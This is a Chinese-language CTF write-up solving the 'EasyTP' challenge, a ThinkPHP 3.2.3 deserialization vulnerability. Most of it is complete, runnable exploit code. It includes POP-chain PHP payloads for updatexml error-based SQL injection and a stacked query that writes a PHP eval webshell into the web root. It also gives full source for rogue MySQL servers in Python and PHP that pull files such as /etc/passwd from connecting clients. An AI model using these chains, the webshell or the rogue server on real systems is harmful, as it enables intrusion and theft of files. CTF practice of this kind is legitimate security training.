[红明谷CTF 2021]EasyTP

image-20241129201016522

随便输入网址得到是tp3.2.3的模板题

直接搜索其漏洞https://f5.pm/go-53579.html(这个是从最开始分析的,还是很清晰的)

解法一:报错注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
<?php
namespace Think\Db\Driver{
use PDO;
class Mysql{
protected $options = array(
PDO::MYSQL_ATTR_LOCAL_INFILE => true // 开启才能读取文件
);
protected $config = array(
"debug" => true,
"database" => "test", // 可换成任一存在的库
"hostname" => "127.0.0.1",
"hostport" => "3306",
"charset" => "utf8",
"username" => "root",
"password" => "root" // BUU环境密码为root
);
}
}
namespace Think\Image\Driver{
use Think\Session\Driver\Memcache;
class Imagick{
private $img;
public function __construct(){
$this->img = new Memcache();
}
}
}
namespace Think\Session\Driver{
use Think\Model;
class Memcache{
protected $handle;
public function __construct(){
$this->handle = new Model();
}
}
}
namespace Think{
use Think\Db\Driver\Mysql;
class Model{
protected $options = array();
protected $pk;
protected $data = array();
protected $db = null;
public function __construct(){
$this->db = new Mysql();
$this->options['where'] = '';
$this->pk = 'id';
$this->data[$this->pk] = array(
//查看数据库名称
// "table" => "mysql.user where updatexml(1,concat(0x7e,mid((select(group_concat(schema_name))from(information_schema.schemata)),30),0x7e),1)#",
//数据库名称:'~information_schema,mysql,performance_schema,sys,test~'
//一次能够读取的长度有限,分两次读取数据 使用mid函数分开读取

//查表名
// "table" => "mysql.user where updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),0x7e),1)#",
// ~flag,users~

// 查列名
//"table" => "mysql.user where updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='flag')),0x7e),1)#",
//~flag~

//查字段值
"table" => "mysql.user where updatexml(1,concat(0x7e,mid((select`*`from`flag`),1),0x7e),1)#",
"where" => "1=1"

);
}
}
}
namespace {
echo base64_encode(serialize(new Think\Image\Driver\Imagick()));
}

其中报错注入的部分,注意updatexml 最多只能显示32位,可以使用substr或者reverse来进行搭配使用,而师傅的wp中采用mid()函数(从一开始)进行部分截取

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
//查看数据库名称
// "table" => "mysql.user where updatexml(1,concat(0x7e,mid((select(group_concat(schema_name))from(information_schema.schemata)),30),0x7e),1)#",
//数据库名称:'~information_schema,mysql,performance_schema,sys,test~'
//一次能够读取的长度有限,分两次读取数据 使用mid函数分开读取

//查表名
// "table" => "mysql.user where updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),0x7e),1)#",
// ~flag,users~

// 查列名
//"table" => "mysql.user where updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='flag')),0x7e),1)#",
//~flag~

//查字段值
"table" => "mysql.user where updatexml(1,concat(0x7e,mid((select`*`from`flag`),1),0x7e),1)#",
"where" => "1=1"

利用控制器中的php://input进行post传入数据

image-20241129202129386

解法二:开堆叠写文件

参考链接:红明谷 CTF2021 Web部分 WriteUp – glzjin (zhaoj.in)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
<?php
namespace Think\Db\Driver{
use PDO;
class Mysql{
protected $options = array(
PDO::MYSQL_ATTR_LOCAL_INFILE => true, //读取本地文件~
PDO::MYSQL_ATTR_MULTI_STATEMENTS => true, //把堆叠开了~
);
protected $config = array(
"debug" => 1,
"database" => "test",//任意一个存在的数据库
"hostname" => "127.0.0.1",
"hostport" => "3306",
"charset" => "utf8",
"username" => "root",
"password" => "root"
);
}
}
namespace Think\Image\Driver{
use Think\Session\Driver\Memcache;
class Imagick{
private $img;
public function __construct(){
$this->img = new Memcache();
}
}
}
namespace Think\Session\Driver{
use Think\Model;
class Memcache{
protected $handle;
public function __construct(){
$this->handle = new Model();
}
}
}
namespace Think{
use Think\Db\Driver\Mysql;
class Model{
protected $options = array();
protected $pk;
protected $data = array();
protected $db = null;
public function __construct(){
$this->db = new Mysql();
$this->options['where'] = '';
$this->pk = 'id';
$this->data[$this->pk] = array(
"table" => "mysql.user where 1=1;select '<?php eval(\$_POST[1]);?>' into outfile '/var/www/html/shell.php';#",
"where" => "1=1"
);
}
}
}
namespace {
echo base64_encode(serialize(new Think\Image\Driver\Imagick()));


$curl = curl_init();
curl_setopt_array($curl, array(
CURLOPT_URL => "http://60255871-6897-49ef-9d6c-884e6aa201d0.node4.buuoj.cn:81/index.php/Home/Index/test",
CURLOPT_RETURNTRANSFER => true,
CURLOPT_ENCODING => "",
CURLOPT_MAXREDIRS => 10,
CURLOPT_TIMEOUT => 30,
CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,
CURLOPT_CUSTOMREQUEST => "POST",
CURLOPT_POSTFIELDS => base64_encode(serialize(new Think\Image\Driver\Imagick())),
CURLOPT_HTTPHEADER => array(
"Postman-Token: 348e180e-5893-4ab4-b1d4-f570d69f228e",
"cache-control: no-cache"
),
));
$response = curl_exec($curl);
$err = curl_error($curl);
curl_close($curl);
if ($err) {
echo "cURL Error #:" . $err;
} else {
echo $response;
}
}

执行解法一的解法

链接数据库:

image-20241129203519251

image-20241129203455058

image-20241129203550522

image-20241129203609583

获取flag

解法三:rogue-mysql-server

在vps上起一个恶意的server,模拟mysql服务端的身份验证过程,骗取客户端(也就是靶机)将其信息发给靶机

py脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
#!/usr/bin/env python
#coding: utf8


import socket
import asyncore
import asynchat
import struct
import random
import logging
import logging.handlers



PORT = 3306

log = logging.getLogger(__name__)

log.setLevel(logging.INFO)
tmp_format = logging.handlers.WatchedFileHandler('mysql.log', 'ab')
tmp_format.setFormatter(logging.Formatter("%(asctime)s:%(levelname)s:%(message)s"))
log.addHandler(
tmp_format
)

filelist = (
'/etc/passwd',
)


#================================================
#=======No need to change after this lines=======
#================================================

__author__ = 'Gifts'

def daemonize():
import os, warnings
if os.name != 'posix':
warnings.warn('Cant create daemon on non-posix system')
return

if os.fork(): os._exit(0)
os.setsid()
if os.fork(): os._exit(0)
os.umask(0o022)
null=os.open('/dev/null', os.O_RDWR)
for i in xrange(3):
try:
os.dup2(null, i)
except OSError as e:
if e.errno != 9: raise
os.close(null)


class LastPacket(Exception):
pass


class OutOfOrder(Exception):
pass


class mysql_packet(object):
packet_header = struct.Struct('<Hbb')
packet_header_long = struct.Struct('<Hbbb')
def __init__(self, packet_type, payload):
if isinstance(packet_type, mysql_packet):
self.packet_num = packet_type.packet_num + 1
else:
self.packet_num = packet_type
self.payload = payload

def __str__(self):
payload_len = len(self.payload)
if payload_len < 65536:
header = mysql_packet.packet_header.pack(payload_len, 0, self.packet_num)
else:
header = mysql_packet.packet_header.pack(payload_len & 0xFFFF, payload_len >> 16, 0, self.packet_num)

result = "{0}{1}".format(
header,
self.payload
)
return result

def __repr__(self):
return repr(str(self))

@staticmethod
def parse(raw_data):
packet_num = ord(raw_data[0])
payload = raw_data[1:]

return mysql_packet(packet_num, payload)


class http_request_handler(asynchat.async_chat):

def __init__(self, addr):
asynchat.async_chat.__init__(self, sock=addr[0])
self.addr = addr[1]
self.ibuffer = []
self.set_terminator(3)
self.state = 'LEN'
self.sub_state = 'Auth'
self.logined = False
self.push(
mysql_packet(
0,
"".join((
'\x0a', # Protocol
'5.6.28-0ubuntu0.14.04.1' + '\0',
'\x2d\x00\x00\x00\x40\x3f\x59\x26\x4b\x2b\x34\x60\x00\xff\xf7\x08\x02\x00\x7f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x68\x69\x59\x5f\x52\x5f\x63\x55\x60\x64\x53\x52\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00',
)) )
)

self.order = 1
self.states = ['LOGIN', 'CAPS', 'ANY']

def push(self, data):
log.debug('Pushed: %r', data)
data = str(data)
asynchat.async_chat.push(self, data)

def collect_incoming_data(self, data):
log.debug('Data recved: %r', data)
self.ibuffer.append(data)

def found_terminator(self):
data = "".join(self.ibuffer)
self.ibuffer = []

if self.state == 'LEN':
len_bytes = ord(data[0]) + 256*ord(data[1]) + 65536*ord(data[2]) + 1
if len_bytes < 65536:
self.set_terminator(len_bytes)
self.state = 'Data'
else:
self.state = 'MoreLength'
elif self.state == 'MoreLength':
if data[0] != '\0':
self.push(None)
self.close_when_done()
else:
self.state = 'Data'
elif self.state == 'Data':
packet = mysql_packet.parse(data)
try:
if self.order != packet.packet_num:
raise OutOfOrder()
else:
# Fix ?
self.order = packet.packet_num + 2
if packet.packet_num == 0:
if packet.payload[0] == '\x03':
log.info('Query')

filename = random.choice(filelist)
PACKET = mysql_packet(
packet,
'\xFB{0}'.format(filename)
)
self.set_terminator(3)
self.state = 'LEN'
self.sub_state = 'File'
self.push(PACKET)
elif packet.payload[0] == '\x1b':
log.info('SelectDB')
self.push(mysql_packet(
packet,
'\xfe\x00\x00\x02\x00'
))
raise LastPacket()
elif packet.payload[0] in '\x02':
self.push(mysql_packet(
packet, '\0\0\0\x02\0\0\0'
))
raise LastPacket()
elif packet.payload == '\x00\x01':
self.push(None)
self.close_when_done()
else:
raise ValueError()
else:
if self.sub_state == 'File':
log.info('-- result')
log.info('Result: %r', data)

if len(data) == 1:
self.push(
mysql_packet(packet, '\0\0\0\x02\0\0\0')
)
raise LastPacket()
else:
self.set_terminator(3)
self.state = 'LEN'
self.order = packet.packet_num + 1

elif self.sub_state == 'Auth':
self.push(mysql_packet(
packet, '\0\0\0\x02\0\0\0'
))
raise LastPacket()
else:
log.info('-- else')
raise ValueError('Unknown packet')
except LastPacket:
log.info('Last packet')
self.state = 'LEN'
self.sub_state = None
self.order = 0
self.set_terminator(3)
except OutOfOrder:
log.warning('Out of order')
self.push(None)
self.close_when_done()
else:
log.error('Unknown state')
self.push('None')
self.close_when_done()


class mysql_listener(asyncore.dispatcher):
def __init__(self, sock=None):
asyncore.dispatcher.__init__(self, sock)

if not sock:
self.create_socket(socket.AF_INET, socket.SOCK_STREAM)
self.set_reuse_addr()
try:
self.bind(('', PORT))
except socket.error:
exit()

self.listen(5)

def handle_accept(self):
pair = self.accept()

if pair is not None:
log.info('Conn from: %r', pair[1])
tmp = http_request_handler(pair)


z = mysql_listener()
# daemonize()
asyncore.loop()

PHP脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
<?php
function unhex($str) { return pack("H*", preg_replace('#[^a-f0-9]+#si', '', $str)); }

$filename = "/etc/passwd";

$srv = stream_socket_server("tcp://0.0.0.0:3306");

while (true) {
echo "Enter filename to get [$filename] > ";
$newFilename = rtrim(fgets(STDIN), "\r\n");
if (!empty($newFilename)) {
$filename = $newFilename;
}

echo "[.] Waiting for connection on 0.0.0.0:3306\n";
$s = stream_socket_accept($srv, -1, $peer);
echo "[+] Connection from $peer - greet... ";
fwrite($s, unhex('45 00 00 00 0a 35 2e 31 2e 36 33 2d 30 75 62 75
6e 74 75 30 2e 31 30 2e 30 34 2e 31 00 26 00 00
00 7a 42 7a 60 51 56 3b 64 00 ff f7 08 02 00 00
00 00 00 00 00 00 00 00 00 00 00 00 64 4c 2f 44
47 77 43 2a 43 56 63 72 00 '));
fread($s, 8192);
echo "auth ok... ";
fwrite($s, unhex('07 00 00 02 00 00 00 02 00 00 00'));
fread($s, 8192);
echo "some shit ok... ";
fwrite($s, unhex('07 00 00 01 00 00 00 00 00 00 00'));
fread($s, 8192);
echo "want file... ";
fwrite($s, chr(strlen($filename) + 1) . "\x00\x00\x01\xFB" . $filename);
stream_socket_shutdown($s, STREAM_SHUT_WR);
echo "\n";

echo "[+] $filename from $peer:\n";

$len = fread($s, 4);
if(!empty($len)) {
list (, $len) = unpack("V", $len);
$len &= 0xffffff;
while ($len > 0) {
$chunk = fread($s, $len);
$len -= strlen($chunk);
echo $chunk;
}
}

echo "\n\n";
fclose($s);
}

image-20241129205532226

使用的是roguemysql.php,注意修改其中的端口(因为可能vps上已经有mysql在3306端口了,我们的这个恶意的mysql的server端要占一个端口,这里我用的是3307端口,注意把vps的防火墙打开)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
<?php
function unhex($str) { return pack("H*", preg_replace('#[^a-f0-9]+#si', '', $str)); }

$filename = "/etc/passwd";

$srv = stream_socket_server("tcp://0.0.0.0:3307");

while (true) {
echo "Enter filename to get [$filename] > ";
$newFilename = rtrim(fgets(STDIN), "\r\n");
if (!empty($newFilename)) {
$filename = $newFilename;
}

echo "[.] Waiting for connection on 0.0.0.0:3307\n";
$s = stream_socket_accept($srv, -1, $peer);
echo "[+] Connection from $peer - greet... ";
fwrite($s, unhex('45 00 00 00 0a 35 2e 31 2e 36 33 2d 30 75 62 75
6e 74 75 30 2e 31 30 2e 30 34 2e 31 00 26 00 00
00 7a 42 7a 60 51 56 3b 64 00 ff f7 08 02 00 00
00 00 00 00 00 00 00 00 00 00 00 00 64 4c 2f 44
47 77 43 2a 43 56 63 72 00 '));
fread($s, 8192);
echo "auth ok... ";
fwrite($s, unhex('07 00 00 02 00 00 00 02 00 00 00'));
fread($s, 8192);
echo "some shit ok... ";
fwrite($s, unhex('07 00 00 01 00 00 00 00 00 00 00'));
fread($s, 8192);
echo "want file... ";
fwrite($s, chr(strlen($filename) + 1) . "\x00\x00\x01\xFB" . $filename);
stream_socket_shutdown($s, STREAM_SHUT_WR);
echo "\n";

echo "[+] $filename from $peer:\n";

$len = fread($s, 4);
if(!empty($len)) {
list (, $len) = unpack("V", $len);
$len &= 0xffffff;
while ($len > 0) {
$chunk = fread($s, $len);
$len -= strlen($chunk);
echo $chunk;
}
}

echo "\n\n";
fclose($s);
}

同时需要让靶机来连接我们vps上的这个恶意的server才行,所以修改了一下上面的payload中的ip和port

image-20241129205609488

准备之后开始操作

先开启恶意的mysql_server服务

1
php roguemysql.php

可以输入/etc/passwd来测试

然后burpsuite发包,反序列化触发执行让靶机连接我们的恶意server

image-20241129205634679

参考链接:https://blog.csdn.net/RABCDXB/article/details/122264363